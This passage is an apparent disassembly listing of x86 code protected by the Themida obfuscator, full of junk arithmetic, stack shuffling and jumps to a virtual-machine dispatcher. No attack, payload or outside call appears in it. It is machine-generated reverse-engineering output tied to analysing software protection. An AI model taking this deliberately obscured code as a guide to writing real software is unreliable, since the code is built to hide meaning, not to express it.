0E0h or cl, bl pop ebx xor cl, 0BAh not cl add cl, 0F3h sub bl, cl pop ecx add bl, 0C9h sub bl, al sub bl, 0C9h add bl, 0ADh pop ax jmp loc_54E24F ; --------------------------------------------------------------------------- loc_54B3D0: ; CODE XREF: Themida_:0054F2F1j mov [esp], esi mov esi, esp push ecx push edi mov edi, 60583229h jmp loc_54865B ; --------------------------------------------------------------------------- loc_54B3E1: ; CODE XREF: Themida_:00547E43j xor [esp], ebx xor ebx, [esp] jmp loc_54E16D ; --------------------------------------------------------------------------- loc_54B3EC: ; CODE XREF: Themida_:005462E8j pop eax pop ecx push ecx sub esp, 4 mov [esp], ebx pop ecx pop ebx push ebx push edi jmp loc_54FDB6 ; --------------------------------------------------------------------------- loc_54B3FE: ; CODE XREF: Themida_:0054CEFFj pop ebp add ebp, 4 push ebx jmp loc_54FE5E ; --------------------------------------------------------------------------- loc_54B40B: ; CODE XREF: Themida_:0054A7ADj push ecx jmp loc_54ADC6 ; --------------------------------------------------------------------------- loc_54B411: ; CODE XREF: Themida_:005500F4j push edi mov edi, 4 sub eax, edi pop edi xchg eax, [esp] jmp loc_54539E ; --------------------------------------------------------------------------- loc_54B422: ; CODE XREF: Themida_:0054FA2Dj add ebx, 4 push eax mov eax, 4 sub ebx, eax jmp loc_546FD6 ; --------------------------------------------------------------------------- loc_54B435: ; CODE XREF: Themida_:0054F134j add esp, 4 push ecx push eax push edx mov dl, 57h shr dl, 1 or dl, 0CEh and dl, 3Ch inc dl xor dl, 0B4h push edx jmp loc_546E1C ; --------------------------------------------------------------------------- loc_54B450: ; CODE XREF: Themida_:0054AFBBj mov edx, 2 add ebx, edx jmp loc_54D485 ; --------------------------------------------------------------------------- loc_54B45C: ; CODE XREF: Themida_:0054C12Ej add esp, 4 jmp loc_54BEF7 ; --------------------------------------------------------------------------- push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp jmp loc_54E562 ; --------------------------------------------------------------------------- loc_54B479: ; CODE XREF: Themida_:0054B274j add dword ptr [esp], 0FFFFFFFFh mov edx, [esp] jmp loc_54E946 ; --------------------------------------------------------------------------- loc_54B485: ; CODE XREF: Themida_:00545A22j sub edx, 21457AADh add edx, ebx add edx, 21457AADh push ebx jmp loc_545CD0 ; --------------------------------------------------------------------------- loc_54B499: ; CODE XREF: Themida_:0054E648j add esp, 4 add esi, 4 sub esp, 4 mov [esp], edi mov edi, esp push eax jmp loc_54A856 ; --------------------------------------------------------------------------- loc_54B4B3: ; CODE XREF: Themida_:00546A2Fj sub edx, 0D1FF23Fh sub eax, edx pop edx jmp loc_544022 ; --------------------------------------------------------------------------- loc_54B4C1: ; CODE XREF: Themida_:005480B2j or esi, 732E0921h add esi, 10328Fh add eax, esi pop esi jmp loc_547EDC ; --------------------------------------------------------------------------- loc_54B4D5: ; CODE XREF: Themida_:00549731j add eax, ecx pop ecx xor ebx, eax pop small word ptr [eax] jmp loc_544022 ; --------------------------------------------------------------------------- loc_54B4E2: ; CODE XREF: Themida_:00548488j pop edi xor edx, 5587341Fh and edx, 764A3C20h xchg ebp, edx not ebp jmp loc_54B34E ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_54D62A ; --------------------------------------------------------------------------- loc_54B501: ; CODE XREF: Themida_:00545BFFj push cx mov ch, 64h mov ah, ch pop cx not ah push ebx jmp loc_54651F ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 jmp loc_54708F ; --------------------------------------------------------------------------- loc_54B51D: ; CODE XREF: Themida_:005441C0j add esi, 4 xchg esi, [esp] pop esp movzx ax, byte ptr [eax] push 42BFh jmp loc_5442FA ; --------------------------------------------------------------------------- loc_54B532: ; CODE XREF: Themida_:0054FC8Aj sub esp, 2 mov [esp], cx mov ch, 7Ch and dl, ch jmp loc_54C421 ; --------------------------------------------------------------------------- loc_54B542: ; CODE XREF: Themida_:0054719Bj mov ebp, [esp] push 6E58h mov [esp], ebp mov ebp, esp sub esp, 4 mov [esp], edi mov edi, 74DC7280h add edi, 0FFFFFFFFh dec edi shl edi, 8 shl edi, 3 jmp loc_544EC3 ; --------------------------------------------------------------------------- loc_54B56F: ; CODE XREF: Themida_:0054EA9Cj mov eax, [esp] add esp, 4 pop ebx sub [esp+4], eax pop eax jmp loc_544022 ; --------------------------------------------------------------------------- loc_54B580: ; CODE XREF: Themida_:00547E5Cj pop ecx jmp loc_546E8E ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop ecx add esp, 4 jmp loc_54CA2A ; --------------------------------------------------------------------------- loc_54B595: ; CODE XREF: Themida_:00545239j add esp, 4 jmp loc_549853 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_546B15 ; --------------------------------------------------------------------------- loc_54B5A6: ; CODE XREF: Themida_:00547381j sub cl, dh pop edx push ax mov al, 0EBh jmp loc_54B39B ; --------------------------------------------------------------------------- loc_54B5B2: ; CODE XREF: Themida_:0054D4CEj sub ebp, 239050EDh not ebp dec ebp add ebp, 0A43E0A4Eh mov esi, ebp pop ebp jmp loc_545247 ; --------------------------------------------------------------------------- loc_54B5C9: ; CODE XREF: Themida_:00544AF3j xchg ebx, [esp] pop esp or eax, eax jz loc_54CC15 sub esp, 4 mov [esp], esi push 39A1h mov [esp], eax mov eax, 6C055E4Bh xor eax, 232B31C4h push eax neg dword ptr [esp] pop eax and eax, 743900DCh inc eax push edx mov edx, esp add edx, 4 jmp loc_54665D ; --------------------------------------------------------------------------- loc_54B609: ; CODE XREF: Themida_:0054C591j add ebx, esi mov esi, [esp] add esp, 4 xchg ebx, [esp] mov esp, [esp] add esi, 4 jmp loc_54AFE8 ; --------------------------------------------------------------------------- loc_54B622: ; CODE XREF: Themida_:00546992j mov edx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_545943 ; --------------------------------------------------------------------------- loc_54B636: ; CODE XREF: Themida_:005448F8j push edi mov edi, 78CE05EAh sub esi, edi jmp loc_546498 ; --------------------------------------------------------------------------- loc_54B643: ; CODE XREF: Themida_:0054CCA3j add al, dh mov dx, [esp] jmp loc_546F87 ; --------------------------------------------------------------------------- loc_54B64E: ; CODE XREF: Themida_:0054711Fj mov [esp], esi push edx mov edx, 390B5D9Dh jmp loc_547F95 ; --------------------------------------------------------------------------- loc_54B65C: ; CODE XREF: Themida_:00546D15j mov [esp], ecx mov ecx, 7BA83BFDh jmp loc_545DFF ; --------------------------------------------------------------------------- loc_54B669: ; CODE XREF: Themida_:0054558Cj mov esp, [esp] push dword ptr [esp] pop ecx push 2CC3h mov [esp], edx mov edx, esp jmp loc_54C477 ; --------------------------------------------------------------------------- loc_54B67F: ; CODE XREF: Themida_:005484BAj add ecx, 197472C0h add ecx, edi sub ecx, 197472C0h push dword ptr [ecx] push edi mov edi, 5ED05F50h xor [esp+4], edi pop edi jmp loc_546232 ; --------------------------------------------------------------------------- loc_54B69F: ; CODE XREF: Themida_:0054A24Bj add eax, 4 xchg eax, [esp] jmp loc_54908B ; --------------------------------------------------------------------------- loc_54B6AA: ; CODE XREF: Themida_:00548D1Dj push 5934h mov [esp], ebp mov ebp, esp add ebp, 4 jmp loc_54C1B7 ; --------------------------------------------------------------------------- loc_54B6BF: ; CODE XREF: Themida_:0054F7EBj mov [esp], esi mov esi, 2FBD16EBh xor [esp+4], esi jmp loc_5459A9 ; --------------------------------------------------------------------------- loc_54B6D0: ; CODE XREF: Themida_:0054FD9Cj mov cx, [esp] push ebp mov ebp, esp push 695Bh mov [esp], esi jmp loc_546E25 ; --------------------------------------------------------------------------- loc_54B6E4: ; CODE XREF: Themida_:00547C54j shl esi, 1 push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp jmp loc_549DBF ; --------------------------------------------------------------------------- loc_54B6FB: ; CODE XREF: Themida_:0054C544j mov ebx, [esp] add esp, 4 push dword ptr [esp] pop eax jmp loc_546C83 ; --------------------------------------------------------------------------- loc_54B70D: ; CODE XREF: Themida_:0054D697j shl ebp, 5 push edx mov edx, 2AE0607Eh jmp loc_54DA01 ; --------------------------------------------------------------------------- loc_54B71B: ; CODE XREF: Themida_:0054CBA4j mov eax, [esp] push ebp push esp mov ebp, [esp] add esp, 4 add ebp, 4 jmp loc_54F8EC ; --------------------------------------------------------------------------- loc_54B734: ; CODE XREF: Themida_:0054CD39j xor eax, 10284797h xor eax, 6CA61E1Ah sub eax, 1 push ebp mov ebp, 4DAD0377h or ebp, 1AD32178h shl ebp, 8 sub ebp, 761F0C06h jmp loc_54FC13 ; --------------------------------------------------------------------------- loc_54B75D: ; CODE XREF: Themida_:00550025j push dword ptr [esp+4] pop eax pop dword ptr [esp] jmp loc_54A0DD ; --------------------------------------------------------------------------- loc_54B76A: ; CODE XREF: Themida_:00548FD3j mov ecx, 6E1D2934h jmp loc_548DCD ; --------------------------------------------------------------------------- loc_54B774: ; CODE XREF: Themida_:005455B4j inc ecx shl ecx, 7 sub ecx, 4EF9E7EEh sub edi, ecx jmp loc_54C2EC ; --------------------------------------------------------------------------- loc_54B785: ; CODE XREF: Themida_:0054CAB5j add ebx, edi mov edi, [esp] add esp, 4 add ebx, 2 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp rol byte ptr [esp], cl pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_54B7A9: ; CODE XREF: Themida_:00547759j sub bl, al pop eax xor ah, bl mov ebx, [esp] add esp, 4 jmp loc_54F2C0 ; --------------------------------------------------------------------------- loc_54B7B9: ; CODE XREF: Themida_:00545DE2j add edx, 63567BAEh jmp loc_546B25 ; --------------------------------------------------------------------------- loc_54B7C4: ; CODE XREF: Themida_:00548999j push 758Eh mov [esp], eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_54B99D ; --------------------------------------------------------------------------- loc_54B7E1: ; CODE XREF: Themida_:005491B6j push eax mov eax, esp add eax, 4 sub eax, 4 xor eax, [esp] jmp loc_5458CC ; --------------------------------------------------------------------------- loc_54B7F4: ; CODE XREF: Themida_:0054F469j mov eax, esp push ebp push ebx jmp loc_5486A5 ; --------------------------------------------------------------------------- loc_54B7FD: ; CODE XREF: Themida_:00548D53j mov [esp], eax mov ah, 8Dh shl ah, 2 shr ah, 8 shl ah, 2 xor ah, 0D3h jmp loc_54812E ; --------------------------------------------------------------------------- loc_54B813: ; CODE XREF: Themida_:00546F4Bj mov [ebx], cl mov ebx, [esp] push edx mov edx, esp jmp loc_54E5D8 ; --------------------------------------------------------------------------- loc_54B820: ; CODE XREF: Themida_:0054D40Bj add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_546A80 ; --------------------------------------------------------------------------- loc_54B834: ; CODE XREF: Themida_:0054BA97j add esp, 4 bt [esp], eax pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_54B844: ; CODE XREF: Themida_:0054FE36j mov eax, esi pop esi or eax, 72456737h xor eax, 45802982h xor edi, eax mov eax, [esp] add esp, 4 jmp loc_54FDC7 ; --------------------------------------------------------------------------- loc_54B861: ; CODE XREF: Themida_:0054D774j xor eax, ecx pop ecx inc eax jmp loc_547D41 ; --------------------------------------------------------------------------- loc_54B86A: ; CODE XREF: Themida_:0054AD24j add dword ptr [esp], 4 jmp loc_54EF73 ; --------------------------------------------------------------------------- loc_54B873: ; CODE XREF: Themida_:00545BB5j pop ebp pop dword ptr [esp] mov esp, [esp] jmp loc_54D7FD ; --------------------------------------------------------------------------- loc_54B87F: ; CODE XREF: Themida_:0054AE64j mov esp, [esp] push dword ptr [esp] pop eax push 1803h mov [esp], eax jmp loc_547B8E ; --------------------------------------------------------------------------- loc_54B893: ; CODE XREF: Themida_:00545B06j add edx, 4 add edx, 4 jmp loc_5494BB ; --------------------------------------------------------------------------- loc_54B8A1: ; CODE XREF: Themida_:0054F3CCj jmp loc_544022 ; --------------------------------------------------------------------------- loc_54B8A6: ; CODE XREF: Themida_:00548013j add ecx, 69025D0Eh pop ebp push ecx push dword ptr [esp+4] jmp loc_544BF0 ; --------------------------------------------------------------------------- loc_54B8B7: ; CODE XREF: Themida_:00544A38j push ebp mov ebp, 4 sub eax, ebp pop ebp xchg eax, [esp] jmp loc_54976E ; --------------------------------------------------------------------------- loc_54B8C8: ; CODE XREF: Themida_:00549BDAj push edx jmp loc_54E67E ; --------------------------------------------------------------------------- loc_54B8CE: ; CODE XREF: Themida_:0054817Cj mov eax, 59F819BEh mov edi, 0DE7668D9h jmp loc_54E550 ; --------------------------------------------------------------------------- loc_54B8DD: ; CODE XREF: Themida_:0054C7CDj mov [esp], esi jmp loc_54BDB9 ; --------------------------------------------------------------------------- loc_54B8E5: ; CODE XREF: Themida_:00546B20j mov edx, 4 add eax, edx pop edx sub eax, 4 xchg eax, [esp] mov esp, [esp] mov [esp], ebx mov ebx, esp push 4BECh jmp loc_54B386 ; --------------------------------------------------------------------------- loc_54B905: ; CODE XREF: Themida_:0054D6E0j mov esi, 2 mov eax, esi pop esi jmp loc_54520D ; --------------------------------------------------------------------------- loc_54B912: ; CODE XREF: Themida_:0054E38Ej xchg eax, ebp shr ebp, 3 jmp loc_54FF1B ; --------------------------------------------------------------------------- loc_54B91B: ; CODE XREF: Themida_:00549178j sub ebp, 0B9A4C911h mov edx, ebp jmp loc_547D72 ; --------------------------------------------------------------------------- loc_54B928: ; CODE XREF: Themida_:0054D3BDj shl ebx, 7 add ebx, 3D2F0DCEh jmp loc_54848D ; --------------------------------------------------------------------------- loc_54B936: ; CODE XREF: Themida_:00549A15j shr ebp, 5 inc ebp push edx mov edx, 1AB95A2h jmp loc_5456C3 ; --------------------------------------------------------------------------- loc_54B945: ; CODE XREF: Themida_:0054781Cj pop edx add bl, 0Eh sub bl, al jmp loc_54FDD8 ; --------------------------------------------------------------------------- loc_54B950: ; CODE XREF: Themida_:00548BE0j pop esi sub esp, 4 jmp loc_54CE61 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545BCC loc_54B95C: ; CODE XREF: sub_545BCC+7629j push ecx push 41CCh mov [esp], eax mov ah, 0F3h mov cl, ah pop eax push eax mov al, 9Dh and al, 1Ah dec al shr al, 5 shr al, 6 sub al, 0CEh xor cl, al pop eax sub bl, 0BDh sub bl, 0E7h sub bl, cl add bl, 0E7h add bl, 0BDh pop ecx mov ecx, [esp+0] jmp loc_550003 ; END OF FUNCTION CHUNK FOR sub_545BCC ; --------------------------------------------------------------------------- loc_54B993: ; CODE XREF: Themida_:0054CE5Cj add esi, edx pop edx add edx, esi jmp loc_54E3D9 ; --------------------------------------------------------------------------- loc_54B99D: ; CODE XREF: Themida_:0054B7DCj mov eax, [esp] add esp, 4 jmp loc_54DF3A ; --------------------------------------------------------------------------- loc_54B9A8: ; CODE XREF: Themida_:00545822j mov ebp, [esp] add esp, 4 jmp loc_547193 ; --------------------------------------------------------------------------- loc_54B9B3: ; CODE XREF: Themida_:005495AAj xchg edi, [esp] jmp loc_549CA6 ; --------------------------------------------------------------------------- loc_54B9BB: ; CODE XREF: Themida_:0054A7D6j push 75D0h mov [esp], esi mov esi, 2AFE2F82h mov ebx, esi pop esi push esi mov esi, 2AFE2F02h push edi mov edi, 224B5AF1h push edx jmp loc_54921A ; --------------------------------------------------------------------------- mov cx, [esp] push 2406h jmp loc_5446CE ; --------------------------------------------------------------------------- loc_54B9EB: ; CODE XREF: Themida_:00548797j add eax, 4 xchg eax, [esp] pop esp add esp, 4 add edx, 4 xor edx, [esp] xor [esp], edx jmp loc_547CA8 ; --------------------------------------------------------------------------- loc_54BA08: ; CODE XREF: Themida_:0054EBD3j neg eax push edi mov edi, 4B823090h inc edi neg edi and edi, 1E1176C4h add edi, 3B05220Eh sub edi, 63B299Fh jmp loc_54DBB1 ; --------------------------------------------------------------------------- xor [esp], esi xor esi, [esp] xor [esp], esi not esi push esi mov esi, esp sub esp, 4 jmp loc_54E625 ; --------------------------------------------------------------------------- loc_54BA40: ; CODE XREF: Themida_:0054A891j add esi, 4 xchg esi, [esp] pop esp imul ecx, eax push ecx pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_54BA51: ; CODE XREF: Themida_:00547EE1j xchg eax, [esp] pop esp pop dword ptr [esp] mov esp, [esp] jmp loc_5440BC ; --------------------------------------------------------------------------- loc_54BA60: ; CODE XREF: Themida_:0054DF85j push edx push edx jmp loc_544CD5 ; --------------------------------------------------------------------------- loc_54BA67: ; CODE XREF: Themida_:0054E2D2j push ebx mov ebx, 20E939E0h add ebp, ebx pop ebx pop esi add ebp, 2 push 27F7h mov [esp], ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] pop esp shr dword ptr [esp], cl pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_54BA93: ; CODE XREF: Themida_:00548A25j xchg ebp, [esp] pop esp jmp loc_54B834 ; --------------------------------------------------------------------------- loc_54BA9C: ; CODE XREF: Themida_:00547EEDj mov edx, 3DA72045h add edx, 3F6B4746h shl edx, 5 jmp loc_546425 ; --------------------------------------------------------------------------- loc_54BAAF: ; CODE XREF: Themida_:0054A4C4j xor esi, 0F8F9BFBAh push ecx mov ecx, 43AF6457h not ecx push ebx mov ebx, 3ED5233Ah shr ebx, 2 dec ebx shl ebx, 2 neg ebx xor ebx, 0F946FE15h jmp loc_5494EF ; --------------------------------------------------------------------------- loc_54BAD7: ; CODE XREF: Themida_:0054C5B3j mov eax, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] btc [esp], ax pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_54BAF1: ; CODE XREF: Themida_:00547E4Bj push eax mov eax, 50D13929h shr eax, 8 push ecx mov ecx, 47800566h add ecx, 42B92624h push eax mov eax, 2A721CDFh or ecx, eax pop eax shl ecx, 3 xor ecx, 0E7F93E09h sub eax, ecx mov ecx, [esp] jmp loc_54D1DD ; --------------------------------------------------------------------------- loc_54BB22: ; CODE XREF: Themida_:005498E4j push ecx mov ecx, 4 sub ebp, 110F73F3h jmp loc_54A7E1 ; --------------------------------------------------------------------------- loc_54BB33: ; CODE XREF: Themida_:0054765Bj sub al, 7Eh push dword ptr [esp] pop edx sub esp, 4 jmp loc_5442A1 ; --------------------------------------------------------------------------- loc_54BB44: ; CODE XREF: Themida_:0054C7F7j mov [esp], ecx mov ecx, 2E227EC5h sub eax, 7B154BEAh sub eax, ecx jmp loc_546883 ; --------------------------------------------------------------------------- lodsb jmp loc_549557 ; --------------------------------------------------------------------------- loc_54BB5E: ; CODE XREF: Themida_:005473E4j push edx mov edx, 2 push edi mov edi, edx mov eax, edi pop edi pop edx sub edx, 38306176h jmp loc_549FD1 ; --------------------------------------------------------------------------- loc_54BB76: ; CODE XREF: Themida_:0054DF4Dj sub ebx, 24E1001h jmp loc_54A37A ; --------------------------------------------------------------------------- loc_54BB81: ; CODE XREF: Themida_:0054BC96j add ebx, 63F325CFh or ebx, 5E0358CCh xor ebx, 721F40BEh push eax mov eax, 2C202E6Ah jmp loc_54ED9B ; --------------------------------------------------------------------------- loc_54BB9E: ; CODE XREF: Themida_:0054749Cj mov [esp], edi mov edi, 14AB4B99h xor edi, 39A4160Ah jmp loc_54DD0D ; --------------------------------------------------------------------------- loc_54BBB1: ; CODE XREF: Themida_:00546559j mov ebp, 24F467D6h shl ebp, 5 xor ebp, 0B2AA6D17h add esi, ebp pop ebp sub eax, esi pop esi jmp loc_549A31 ; --------------------------------------------------------------------------- loc_54BBCA: ; CODE XREF: Themida_:0054CB7Aj add ebp, ecx mov ecx, [esp] add esp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] jmp loc_55000E ; --------------------------------------------------------------------------- loc_54BBE3: ; CODE XREF: Themida_:0054C56Bj and esi, 1BF85441h shl esi, 1 jmp loc_54DA40 ; --------------------------------------------------------------------------- loc_54BBF0: ; CODE XREF: Themida_:00549759j inc ebp jmp loc_5459CC ; --------------------------------------------------------------------------- loc_54BBF6: ; CODE XREF: Themida_:00549C40j push dword ptr [esp] pop ecx push edi mov edi, esp push ebx push 5D6E0E1Bh pop ebx inc ebx jmp loc_54D742 ; --------------------------------------------------------------------------- loc_54BC0A: ; CODE XREF: Themida_:0054E187j xor [esp], edx xor edx, [esp] pop esp mov [esp], ebx jmp loc_548E09 ; --------------------------------------------------------------------------- push dword ptr [edi+3Ch] push dword ptr [esp] mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], esi jmp loc_54A896 ; --------------------------------------------------------------------------- loc_54BC33: ; CODE XREF: Themida_:0054DDC4j xchg esi, [esp] mov esp, [esp] mul ecx push eax push esp mov eax, [esp] add esp, 4 add eax, 4 push edi push ebx push ecx mov ecx, 71597598h mov ebx, ecx pop ecx push eax push edx mov edx, 4B8331B0h shl edx, 1 inc edx shr edx, 4 or edx, 447D2952h xor edx, 5CCA29ABh sub edx, 0D9E9F3D8h mov eax, edx pop edx mov edi, 19B81CDDh xor edi, eax jmp loc_544608 ; --------------------------------------------------------------------------- loc_54BC81: ; CODE XREF: Themida_:005449D3j push ebx mov ebx, 79D6397Ch not ebx or ebx, 1CF65E37h inc ebx add ebx, 83F84BD4h jmp loc_54BB81 ; --------------------------------------------------------------------------- loc_54BC9B: ; CODE XREF: Themida_:0054E102j xchg eax, [esp] pop esp mov [esp], edi mov edi, 7A7D2548h jmp loc_5485B1 ; --------------------------------------------------------------------------- loc_54BCAC: ; CODE XREF: Themida_:005465D5j add eax, edx pop edx sub eax, 4 sub esp, 4 mov [esp], eax push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] jmp loc_54E29F ; --------------------------------------------------------------------------- loc_54BCCD: ; CODE XREF: Themida_:0054E18Dj and eax, edi push dword ptr [esp] jmp loc_54D03C ; --------------------------------------------------------------------------- loc_54BCD7: ; CODE XREF: Themida_:00547073j mov esi, 5A9B0C57h mov ecx, 5A9B0C53h xor ecx, esi pop esi add esi, ecx mov ecx, [esp] add esp, 4 jmp loc_54568D ; --------------------------------------------------------------------------- loc_54BCF1: ; CODE XREF: Themida_:0054402Ej xchg ebp, [esp] pop esp add edi, 4 xchg edi, [esp] mov esp, [esp] push 5A72h mov [esp], eax jmp loc_544022 ; --------------------------------------------------------------------------- loc_54BD0B: ; CODE XREF: Themida_:00548B8Ej mov dx, 3505h add dx, 17C1h sub dx, 5138h sub bp, dx pop edx jmp loc_547660 ; --------------------------------------------------------------------------- loc_54BD22: ; CODE XREF: Themida_:00544E8Cj and ebx, edx pop edx shl ebx, 6 sub ebx, 30EB1AF9h sub eax, ebx push dword ptr [esp] pop ebx add esp, 4 push esi mov esi, 5702F13h add ebx, esi pop esi jmp loc_544B5F ; --------------------------------------------------------------------------- loc_54BD45: ; CODE XREF: Themida_:0054672Cj sub esp, 4 jmp loc_54C866 ; --------------------------------------------------------------------------- loc_54BD4D: ; CODE XREF: Themida_:0054488Aj push ebx mov ebx, 4 add edx, ebx jmp loc_54D1FA ; --------------------------------------------------------------------------- loc_54BD5A: ; CODE XREF: Themida_:0054734Cj add esp, 4 jmp loc_544022 ; --------------------------------------------------------------------------- loc_54BD65: ; CODE XREF: Themida_:0054F489j push 191Bh mov [esp], ebx push 4 pop ebx add edx, ebx mov ebx, [esp] jmp loc_54E5B7 ; --------------------------------------------------------------------------- loc_54BD7D: ; CODE XREF: Themida_:00546EC2j add esp, 4 xor ebx, edi xor edi, ebx xor ebx, edi not edi xchg edi, ebx jmp loc_545921 ; --------------------------------------------------------------------------- loc_54BD8F: ; CODE XREF: Themida_:00546274j pop edi jmp loc_548FA8 ; --------------------------------------------------------------------------- loc_54BD95: ; CODE XREF: Themida_:0054D9C9j add eax, edi pop edi push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebx push ecx mov ecx, 14C22F0h dec ecx not ecx jmp loc_547D59 ; --------------------------------------------------------------------------- loc_54BDB9: ; CODE XREF: Themida_:0054B8E0j mov esi, 4B432D90h shr esi, 7 dec esi jmp loc_54D10E ; --------------------------------------------------------------------------- loc_54BDC7: ; CODE XREF: Themida_:0054704Ej xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] mov [esp], dx push ax pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_54BDDF: ; CODE XREF: Themida_:0054B0E6j push dword ptr [esp] pop esi add esp, 4 jmp loc_54E2D7 ; --------------------------------------------------------------------------- loc_54BDEB: ; CODE XREF: Themida_:00546664j mov [esp], edi mov edi, 301100AFh xor eax, edi pop edi sub esp, 4 mov [esp], edi jmp loc_54C785 ; --------------------------------------------------------------------------- loc_54BE04: ; CODE XREF: Themida_:0054763Dj pop edx push edx mov dh, 0A3h add al, 7 sub al, dh push ecx mov cl, 0ECh and cl, 0B4h shr cl, 1 jmp loc_545714 ; --------------------------------------------------------------------------- loc_54BE19: ; CODE XREF: Themida_:005461DEj push dword ptr [esp] jmp loc_546F73 ; --------------------------------------------------------------------------- loc_54BE21: ; CODE XREF: Themida_:0054BE4Fj add ecx, ebp pop ebp sub ecx, 2141E61h shl ecx, 4 push esi push edi jmp loc_548F9D ; --------------------------------------------------------------------------- loc_54BE34: ; CODE XREF: Themida_:00547E70j xor ebp, 2F5F282Dh add ebp, 4EF41036h sub ebp, 401059AFh shr ebp, 5 sub ebp, 0EF2EA0FCh jmp loc_54BE21 ; --------------------------------------------------------------------------- loc_54BE54: ; CODE XREF: Themida_:0054C9E7j add eax, ebx push ebx jmp loc_54AB2B ; --------------------------------------------------------------------------- lodsd push ebx push esi mov esi, 0F094CD9h push esi not dword ptr [esp] jmp loc_54C68C ; --------------------------------------------------------------------------- loc_54BE6D: ; CODE XREF: Themida_:0054EEC7j sub esp, 4 mov [esp], esp push ecx mov ecx, 4 add [esp+4], ecx pop ecx mov esi, [esp] add esp, 4 add esi, 4 push ebp sub esp, 4 mov [esp], eax mov eax, 82F4C3Ah mov ebp, 219889EDh sub ebp, eax pop eax xor ebp, 3C10191Ah or ebp, 2B213D53h neg ebp shr ebp, 2 add ebp, 0CBDE4F83h add esi, ebp pop ebp jmp loc_54FE03 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl byte ptr [esp], cl pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_54BECF: ; CODE XREF: Themida_:005465EAj xor eax, 433F7BC6h xor eax, 787743F2h jmp loc_546A0F ; --------------------------------------------------------------------------- loc_54BEDE: ; CODE XREF: Themida_:0054F326j push eax jmp loc_54D358 ; --------------------------------------------------------------------------- loc_54BEE4: ; CODE XREF: Themida_:0054EE20j shr ecx, 8 jmp loc_54DD9D ; --------------------------------------------------------------------------- loc_54BEEC: ; CODE XREF: Themida_:0054F194j xor eax, ecx xor ecx, eax xor eax, ecx jmp loc_54ADD1 ; --------------------------------------------------------------------------- loc_54BEF7: ; CODE XREF: Themida_:0054B45Fj push ebx push esp jmp loc_54D40A ; --------------------------------------------------------------------------- loc_54BEFE: ; CODE XREF: Themida_:0054EC9Cj push esi push 614C4238h pop esi xor esi, 53F23CBAh add esi, 207EEDCCh push esi add dword ptr [esp], 7DCF193Eh pop edi jmp loc_5489C4 ; --------------------------------------------------------------------------- loc_54BF1F: ; CODE XREF: Themida_:0054D966j mov esp, [esp] jmp loc_547F58 ; --------------------------------------------------------------------------- loc_54BF27: ; CODE XREF: Themida_:0054F3F7j xchg edx, [esp] jmp loc_544EB7 ; --------------------------------------------------------------------------- loc_54BF2F: ; CODE XREF: Themida_:005458ABj push ecx jmp loc_54861C ; --------------------------------------------------------------------------- loc_54BF35: ; CODE XREF: Themida_:0054CD70j shl edx, 1 push 1879h mov [esp], ecx push 0FFFFFFFFh jmp loc_54A131 ; --------------------------------------------------------------------------- loc_54BF49: ; CODE XREF: Themida_:00550081j push edi push esi mov esi, 6073326h mov edi, esi pop esi neg edi push ebp mov ebp, 30C040B2h sub edi, ebp pop ebp sub edi, 4E113146h sub edi, 431190DAh jmp loc_54D3A6 ; --------------------------------------------------------------------------- loc_54BF6F: ; CODE XREF: Themida_:005455CAj mov edx, [esp] add esp, 4 not ebp shl ebp, 5 jmp loc_5472A9 ; --------------------------------------------------------------------------- loc_54BF7F: ; CODE XREF: Themida_:0054B218j mov edi, edx pop edx push ecx mov ecx, 5BE3407h jmp loc_5455AC ; --------------------------------------------------------------------------- loc_54BF8D: ; CODE XREF: Themida_:005460C5j push ebp push esp jmp loc_5448FD ; --------------------------------------------------------------------------- loc_54BF94: ; CODE XREF: Themida_:0054CDFDj push 4F58h jmp loc_545202 ; --------------------------------------------------------------------------- mov esp, [esp] jmp loc_544022 ; --------------------------------------------------------------------------- loc_54BFA6: ; CODE XREF: Themida_:0054DB12j mov [esp], ebp jmp loc_544C54 ; --------------------------------------------------------------------------- loc_54BFAE: ; CODE XREF: Themida_:005475F8j pop edx add esp, 4 add ebp, ebx pop ebx xchg ebp, [esp] pop esp mul cl movzx cx, ah push small 62D3h jmp loc_5441DF ; --------------------------------------------------------------------------- loc_54BFCB: ; CODE XREF: Themida_:0054DCF0j mov edi, [esp] add esp, 4 add ebx, 4 jmp loc_546336 ; --------------------------------------------------------------------------- loc_54BFDC: ; CODE XREF: Themida_:00546970j push edi push esi mov esi, 352B373Ah jmp loc_545AD9 ; --------------------------------------------------------------------------- loc_54BFE8: ; CODE XREF: Themida_:00548075j and eax, 33E62524h dec eax jmp loc_548C47 ; --------------------------------------------------------------------------- loc_54BFF3: ; CODE XREF: Themida_:00547D8Cj add esp, 4 push edx push edi mov edi, 4B5D66F1h not edi shl edi, 7 and edi, 378317D8h shr edi, 5 add edi, 6771526Ah jmp loc_549C50 ; --------------------------------------------------------------------------- loc_54C019: ; CODE XREF: Themida_:0054A039j push esi mov esi, 68322C65h xor esi, 234E74C8h push edx mov edx, 4798029Dh inc edx shr edx, 3 and edx, 